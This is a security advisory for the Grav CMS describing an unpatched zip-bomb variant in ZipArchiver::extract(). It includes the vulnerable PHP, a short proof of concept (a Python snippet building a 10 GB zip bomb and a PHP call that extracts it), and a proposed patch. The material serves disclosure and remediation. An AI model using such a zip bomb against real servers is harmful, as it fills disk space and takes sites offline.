| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| getgrav/grav | < 2.0.1 | 2.0.1 |
ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.
Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Only guards against Zip Slip (path traversal)
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name !== false && !$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
}
// Extracts EVERYTHING — no size, count, or depth limit
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}
What's missing vs Installer::unZip():
| Protection | Installer::unZip() | ZipArchiver::extract() |
|---|---|---|
| Zip Slip guard | ✅ | ✅ |
| Max uncompressed size | ✅ (1 GiB) | ❌ |
| Max file count | ✅ (50000) | ❌ |
| Max nesting depth | ✅ (48) | ❌ |
| Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |
The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):
// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;
for ($i = 0; $i < $numFiles; $i++) {
$entryName = $zip->getNameIndex($i);
// Check size, count, and depth BEFORE extracting anything
if ($limits['maxSize'] > 0) { $size += $entry['size']; }
if ($limits['maxDepth'] > 0) { ... }
if ($limits['maxFiles'] > 0) { $count++; }
// Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンNone of this validation exists in ZipArchiver::extract().
Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.
# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024) # 1 GB of zeros
for i in range(10):
z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip → expands to 10 GB
$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted'); // ← no limits, fills disk
The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).
Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.
Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Apply the same archive limits as Installer::unZip()
$limits = $this->archiveLimits();
$totalSize = 0;
$totalFiles = 0;
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name === false) continue;
// Zip Slip guard (existing)
if (!$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
// Decompression bomb guards (NEW)
$stat = $zip->statIndex($i);
$totalSize += $stat['size'] ?? 0;
$totalFiles++;
$depth = count(explode('/', trim($name, '/')));
if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
$zip->close();
throw new RuntimeException('Archive exceeds max nesting depth');
}
}
if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
$zip->close();
throw new RuntimeException('Archive exceeds max uncompressed size');
}
if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
$zip->close();
throw new RuntimeException('Archive exceeds max file count');
}
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}